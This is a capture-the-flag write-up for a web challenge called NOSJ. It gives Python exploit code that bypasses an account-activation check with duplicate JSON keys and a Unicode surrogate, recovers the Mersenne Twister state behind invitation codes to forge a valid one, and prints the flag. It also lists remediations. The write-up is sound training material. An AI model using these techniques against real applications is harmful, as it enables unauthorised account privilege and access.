Back to writeups
FlagYardwebsolved

NOSJ

1 Jan 2025 · by 0xIDA

Solvers

NOSJ

Author: 0xIDA
Platform: FlagYard · Category: web · Difficulty: N/A

Challenge Info

  • CTF: Flagyard (SAFCSP)
  • Category: Web
  • Difficulty: Insane
  • URL: http://tgvldeleqq-0.playat.flagyard.com
  • Flag: FlagY{feb1aa7624965b3da93a495d185c5715}

Solvers

Summary

NOSJ is an e-commerce challenge with two roles: Seller (can generate buyer invitations) and Buyer (needs a valid invitation to open the store and get the flag). Sellers must be activated to log in, but the registration endpoint rejects an explicit activated: true. The activation field is bypassed by sending duplicate JSON keys with a Unicode surrogate that the backend truncates, allowing the true value to be stored while the validator sees only the false value. After activation, the seller dumps 800 deterministic invitation codes generated by a Mersenne Twister (MT19937). We recover the PRNG state, rewind 800 outputs before the observed window, and test each code as a buyer until the flag is returned.

Solution

Step 1: Activate seller via Unicode-truncated duplicate key

The /register/seller endpoint rejects a body containing activated: true with:

403 You cannot set 'activated' to true.

However, the JSON parser truncates a lone surrogate (\uDB00) appended to a duplicate key. Sending a first activated: false key (which satisfies the validator) and a second activated\uDB00: true key causes the backend to store activated = true.

body = json.dumps({
    'username': 'seller_xyz',
    'password': 'Password123!',
    'bio': 'b',
    'activated': False,
    'activated\udb00': True
})
requests.post(f'{BASE}/register/seller', data=body, headers={'Content-Type': 'application/json'})
requests.post(f'{BASE}/login/seller', json={'username': 'seller_xyz', 'password': 'Password123!'})

After this, the seller can access /seller/dashboard and call /get_buyer_invitation.

Step 2: Dump 800 sequential invitation codes

The invitation endpoint accepts a list of names and returns one code per element. Using a list of repeated NaN values returns 800 deterministic 32-bit unsigned integers.

raw = '{"name": [' + ', '.join(['NaN'] * 800) + ']}'
r = s.post(f'{BASE}/get_buyer_invitation', data=raw, headers={'Content-Type': 'application/json'})
codes = [int(x) for x in re.findall(r'\b\d+\b', r.text)]  # 800 values

Step 3: Recover MT19937 state and rewind

The codes are sequential 32-bit outputs from MT19937. Submitting the first 624 values to RandCrack recovers the state; the next 176 predicted values match the rest of the dump.

from randcrack import RandCrack

rc = RandCrack()
for v in codes[:624]:
    rc.submit(v)

# Confirm predictions
predictions = [rc.predict_getrandbits(32) for _ in range(176)]
assert predictions == codes[624:800]

# Rewind 800 values before the observed window
rc.offset(-(624 + 800))
prev_codes = [rc.predict_getrandbits(32) for _ in range(800)]

Step 4: Submit recovered codes as buyer and get the flag

Register/login a buyer and try each rewound code at /buyer/invite. The valid code is at index 612 of the rewound list.

b = requests.Session()
b.post(f'{BASE}/register/buyer', json={'username': 'buyer_xyz', 'password': 'Password123!'})
b.post(f'{BASE}/login/buyer', json={'username': 'buyer_xyz', 'password': 'Password123!'})

for i, code in enumerate(prev_codes):
    r = b.post(f'{BASE}/buyer/invite', json={'invitation': str(code)})
    if 'flag' in r.text.lower():
        print(f'Index {i}: {r.text}')
        break

Output:

[?] interesting at 612 code=...: 200 Your flag is: FlagY{feb1aa7624965b3da93a495d185c5715}
FLAG FOUND

Remediation

  1. JSON parsing: Do not rely on duplicate-key handling for security-critical fields. Use a single canonical JSON parser and reject duplicate keys (json.loads(..., object_pairs_hook=reject_duplicates)).
  2. Input validation: Validate activated strictly after parsing, not before; enforce it server-side and ignore user-supplied activation flags during registration.
  3. Cryptographic randomness: Use secrets / os.urandom / a CSPRNG for invitation codes, not random (MT19937 is predictable).
  4. Output space: Ensure generated codes are checked for uniqueness and use a large enough entropy space to prevent brute-force and state recovery attacks.

Flag

FlagY{feb1aa7624965b3da93a495d185c5715}

Solve Script

/root/nosj_solve_full.py contains the full automated exploit from activation to flag.